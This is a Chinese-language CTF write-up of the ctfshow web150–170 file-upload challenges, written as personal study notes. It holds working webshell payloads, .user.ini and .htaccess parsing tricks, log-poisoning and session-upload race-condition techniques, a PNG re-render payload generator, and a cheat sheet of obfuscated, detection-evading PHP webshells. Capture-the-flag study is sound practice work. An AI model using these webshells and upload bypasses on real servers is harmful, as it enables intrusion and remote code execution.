zoukankan      html  css  js  c++  java
  • ctfshow_web 入门 文件上传

    文件上传

    还是是一边学习一边做笔记的文章,由于是学习,所以会显得啰嗦
    还请各位师傅担待~
    如果有不正确的地方,请师傅们斧正谢谢师傅们

    web150

    火狐关闭js的插件一旦开启,就没法点击上传按钮了。

    而且这里没法上传.php .jpg等后缀文件,只能选择png格式图片。所以只能以够抓包然后修改内容的方式上传图片马。

    同时,一旦图片格式满足,就自动上传了。

    打开burp开启,然后上传一张png格式图片,在burp抓的包中添加一句话木马<?php eval($_POST['cmd']);?>,修改图片后缀为.php上传

    访问对应网页即可

    web151

    同web150

    web152

    首先尝试上传php后缀文件,发现不行。所以上传.user.ini配置文件,因为是nginx系统,所以配置文件是.user.ini.htaccess和.user.ini配置文件妙用

    同样,上传png文件,burp抓包修改文件信息(将信息传入repeater之后可以反复修改,反复提交),文件名修改为.user.ini,内容添加auto_prepend_file=meima.png。再上传一个名为meima.png的图片马即可

    image-20210807150600455

    最后访问/url/upload/index.php,用cmd=system('tac /var/www/html/f*');输入命令获取flag就好

    image-20210807151258988

    web 154

    同样,先上传.user.ini,内容auto_prepend_file=meima.png,接着上传名为meima.png的图片马。

    就可以利用上一关的repeater中的数据包,将host给修改一下就可以。

    .user.ini
    
    auto_prepend_file=meima.png
    

    image-20210807153227535

    同时,图片马:

    meima.png
    
    <?= eval($_POST['cmd']);?>
    

    image-20210807152641592

    同样,在火狐中,将host给修改一下,继续执行即可,命令都不需要改

    image-20210807153041430

    web 155

    嫖web154,操作完全一致

    web 156

    为啥我上传没有马的png也不行呢?哦,原来是文件内容太长了。

    整一个短一点的马儿或者是将抓到的包的信息给改少一点。

    过滤了[],用{}进行绕过

    image-20210807182642872

    image-20210807183148199

    因为之前上传过一次

    <? `tac /var/www/html/f*`;?>	也可能是没有加echo,这个有点不太清楚
    

    但是显示结果却是:no thing here ,所以这里打算复盘一下,用webshell,写一个php文件进去测试;最后用蚁剑连接之后发现,创建了文件,但是文件中没有内容

    image-20210807184821024

    最后可以直接用蚁剑写入文件,

    image-20210807184945346

    所以说,在``之前是需要加上echo 的;

    ``相当于是shell_exec()函数

    image-20210807191103765

    同样,也可以直接从burp中修改命令,然后反复上传以达到目的,原来的文件会被替换掉

    image-20210807191425909

    web 157

    额,看样子貌似是过滤了,可以上传拿到flag

    <? echo `tac /var/www/html/f*`?>
    

    PHP最后一句可以不用加;,貌似只是针对这种逻辑简单的可以不加,一些逻辑比较复杂的代码最后还是是需要加的

    image-20210807193356080

    web 158

    用157的方法,直接拿下

    web 159

    貌似过滤了system或者()

    用157的方法,直接拿下

    web 160

    这个题过滤了空格 ()

    额,还记得文件包含的web82不,那个上传session文件的解题方式,这题也用那个方式

    一共要准备四个包;

    一个上传.user.ini文件上传包,一个1.png文件上传包;一个url/upload/index.php反复请求包,一个session反复上传包;

    image-20210807203611184

    image-20210807203625994

    接着条件竞争,

    一个burp一直请求/url/upload/index.php

    image-20210807203939624

    另一边,一直上传文件

    image-20210807204104495

    访问/url/test1.php,如果有页面就成功,没有就失败,重来一次就行

    image-20210807205253377

    拿到flag

    image-20210807205208700

    Firebasky师傅的wp中提到,auto_prepend_file的配置相当于文件包含。

    web 161

    有文件头的一个判断,选择GIF89a的文件头,比较方便记忆与绕过

    顺带看一下,图片有没有被修改,发现,(我们的图安然无恙!)

    image-20210807215929003

    在文件头前面加上GIF89a,然后就可以白嫖web160的方法了

    image-20210807220408711

    方法二:日志包含

    在user-agent中加入一句话木马,然后在图片中加入引入日志文件的代码

    image-20210807220919490

    在配置文件.user.ini中,将auto_prepend_file设置为:1.png

    image-20210807220855505

    接着访问url/upload/index.php,那么就会执行1.png的代码,由于1.png引入日志文件,那么日志文件中的一句话木马就会被执行

    image-20210807221414057

    突然想问一句,既然auto_prepend_file能进行文件包含,那么是不是可以直接从auto_prepend_file入手日志文件呢?不行

    image-20210807221702116

    web 162

    过滤了.,但是发现,可以直接上传,可以白嫖上面的方法,上传文件1的时候,文件内容一定要少

    image-20210807222921462

    web 163

    发现一个以前没有注意过的点:
    如果是用数字来作为post数组的键时,不能够用引号括起来,不然利用session写入木马时会无法写入

    image-20210811111316789

    image-20210811111550502

    所以所以这里就卡了很久,但是依旧没有上传请求成功

    web 164(png图片二次渲染)

    这个题怎么说呢,没有发现有一个download.php文件,所以也就不知道怎么去做。

    所以我这里也就直接照搬做出来的大佬的笔记了

    <?php
    $p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
               0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
               0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
               0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
               0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
               0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
               0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
               0x66, 0x44, 0x50, 0x33);
    
    
    
    $img = imagecreatetruecolor(32, 32);
    
    for ($y = 0; $y < sizeof($p); $y += 3) {
       $r = $p[$y];
       $g = $p[$y+1];
       $b = $p[$y+2];
       $color = imagecolorallocate($img, $r, $g, $b);
       imagesetpixel($img, round($y / 3), 0, $color);
    }
    
    imagepng($img,'1.png'); #保存在本地的图片马
    ?>
    

    image-20210811160416041

    上传图片成功之后,访问url/download.php?iamge=xxxx&0=system post传入:1=cat flag.php

    就可以得到flag

    image-20210811160546652

    web 165

    jpg图片渲染用164脚本依旧可行,只是我这里一直上传不了

    web 166

    上传zip文件,在zip文件中写入一句话,通过download.php进行下载,然后rce

    由于下载时是GET方式,所以之类马儿里也用的get方式

    image-20210812110853914

    image-20210812110836572

    这里注意到download.php,就顺带看了一下,因为最之前不知道如何通过download.php进行文件包含的,哦~原来里面有一个include($file)

    web 167

    看到httpd,想到是不是Apache。于是F12通过network查看,image-20210812112155019

    上传.htaccess,这题需要上传jpg格式的马儿,同时写入

    AddType application/x-httpd-php .jpg
    

    ?为什么我开的题目环境一直出问题???

    image-20210812112931802

    不过按理来说,访问/url/upload/1.jpg即可;

    原来是配置文件解析错误,上传的配置文件中,只写一句和解析有关的就够了,多余的删除,否则会有500的错误

    image-20210812113614137

    image-20210812113843613

    大佬的wp

    image-20210812113948471

    web 168

    可以直接上传.php文件

    image-20210812114950912

    查看flag,反引号是shell_exec()函数的简写;需要用echo来进行输出

    看了羽师傅博客,又l了解到了很多:

    <?php
    $a = "s#y#s#t#e#m";
    $b = explode("#",$a);
    $c = $b[0].$b[1].$b[2].$b[3].$b[4].$b[5];
    $c($_REQUEST[1]);
    ?>
    
    <?php
    $a=substr('1s',1).'ystem';
    $a($_REQUEST[1]);
    ?>
    
    <?php
    $a=strrev('metsys');
    $a($_REQUEST[1]);
    ?>
    
    <?php
    $a=$_REQUEST['a'];
    $b=$_REQUEST['b'];
    $a($b);
    ?>
    

    web 169

    直接将<过滤了,所以也没有办法执行PHP代码,于是这题考虑日志包含

    同时,上传时,需要burp抓包上传,上传zip文件,并且将file_content修改为image/png才能成功上传

    在user-agent中写入一句话木马,<?php eval($_POST['cmd']);?>

    上传一个.user.ini文件,auto_prepend_file=/var/log/nginx/access.log

    上传一个1.php文件,内容随便写123,因为url/upload/目录下没有文件,所以需要写一个文件来承接.user.ini

    接着就可以访问/url/upload/1.php,然后rce

    也可以用蚁剑连接,方便找flag。

    web 170

    同上

    解题

    上传配置文件,然后传马

    马儿内容

    短标签马儿:
    	一般的马儿:
    <?php eval($_POST['cmd']);?>
    	没有PHP的马儿
    <?= eval($_POST['cmd']);?>
    <? eval($_POST['cmd']);?>
    <% eval($_POST['cmd']);%>
    	有PHP的马儿
    <script language="php"></script>
    
    特殊马儿:
    	过滤[]:用{}代替
    	<?= eval($_POST['cmd']);?>
    
    直接拿flag的变形马儿
    	<? echo `tac /var/www/html/f*`;?>
    	<? echo `tac /var/www/html/f*`?>
    	
    免杀马儿:
    <?php
    $a = "s#y#s#t#e#m";
    $b = explode("#",$a);
    $c = $b[0].$b[1].$b[2].$b[3].$b[4].$b[5];
    $c($_REQUEST[1]);
    ?>
    
    <?php
    $a=substr('1s',1).'ystem';
    $a($_REQUEST[1]);
    ?>
    
    <?php
    $a=substr('1s',1).'ystem';
    $a($_REQUEST[1]);
    ?>
    
    <?php
    $a=substr('1s',1).'ystem';
    $a($_REQUEST[1]);
    ?>
    

    上传配置文件,上传sessionid的马儿

    .user.ini文件中写入auto_prepend_file=1.png

    1.png中写入<?include"/tmp/sess_test"?>,此处sess_test中的test是PHPSESSIDd的值

    uplaod_session.php

    <html>
    <body>
    <form action="http://fece0c1e-a60a-49b8-afde-a015f784c864.challenge.ctf.show:8080/" method="post" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php file_put_contents('/var/www/html/test1.php','<?php eval($_POST[1]);?>')?>">
    <input type="file" name="file">
    <input type="submit" value="submit">
    </form>
    </body>
    </html>
    此处代码,抓包后在cookie位置添加:PHPSESSID=test
    

    格式

    GIF89a
    

    注意:

    发现一个以前没有注意过的点:
    如果是用数字来作为post数组的键时,不能够用引号括起来,不然利用session写入木马时会无法写入

    image-20210811111316789

    image-20210811111550502

    谢谢师傅们观看~

  • 相关阅读:
    Python爬取微博热搜榜,将数据存入数据库
    Python爬取网站文章数据并存到数据库
    在自己的框架系统中使用tp类
    conda环境下pip install 无法安装到指定conda环境中(conda环境的默认pip安装位置)
    jupyter notebook 加入conda虚拟环境(指定conda虚拟环境)
    本地打包好的项目如何运行在docker中
    测试
    SQL Server创建dblink跨库查询
    深入浅析BIO、NIO、AIO
    JavaWeb_html_js_css_javaweb
  • 原文地址:https://www.cnblogs.com/upstream-yu/p/15375912.html
Copyright © 2011-2022 走看看